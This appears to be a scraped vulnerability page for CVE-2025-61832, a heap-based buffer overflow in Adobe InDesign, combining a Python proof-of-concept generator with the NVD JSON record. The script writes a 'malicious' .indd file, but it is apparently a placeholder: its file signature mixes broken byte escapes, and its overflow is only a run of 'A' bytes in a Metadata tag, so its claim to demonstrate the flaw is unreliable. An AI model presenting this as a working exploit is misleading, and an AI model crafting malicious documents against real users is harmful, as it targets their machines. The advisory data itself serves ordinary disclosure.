CVE-2025-61832

# CVE-2025-61832 PoC - Adobe InDesign Desktop Heap-based Buffer Overflow # This PoC demonstrates the vulnerability in InDesign's document parsing # Note: This is a conceptual PoC for educational purposes only import struct import os def create_malicious_indd(): """ Create a malicious InDesign document that triggers heap overflow """ # InDesign document structure header = b'\x06\\x06\\xd0\\xcd' # InDesign file signature version = struct.pack('<I', 20) # Version 20.5 target # Crafting overflow data overflow_size = 8192 # Large overflow payload overflow_data = b'A' * overflow_size # Malicious metadata field that triggers overflow malicious_field = b'<Metadata>' + overflow_data + b'</Metadata>' # File structure with crafted overflow data file_content = ( header + version + malicious_field + b'\\x00' * 256 # Padding ) return file_content def main(): print("CVE-2025-61832 PoC Generator") print("Target: Adobe InDesign Desktop <= 20.5, <= 19.5.5") print("Vulnerability: Heap-based Buffer Overflow") print("-" * 50) # Generate malicious file poc_file = create_malicious_indd() # Save the PoC file output_file = 'CVE-2025-61832_malicious.indd' with open(output_file, 'wb') as f: f.write(poc_file) print(f"[+] Generated malicious file: {output_file}") print(f"[+] File size: {len(poc_file)} bytes") print("[!] This PoC is for research and educational purposes only") print("[!] Do not use for malicious purposes") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-61832", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:52.913", "lastModified": "2025-11-12T18:24:13.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 20.5, 19.5.5 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndIncluding": "19.5.5", "matchCriteriaId": "53A73483-22D1-4D17-8927-2FDA7CCC96F3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "20.0", "versionEndExcluding": "20.5.1", "matchCriteriaId": "E0EF601B-2BB7-4A7E-AB92-65F9B4CBABFE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb25-106.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}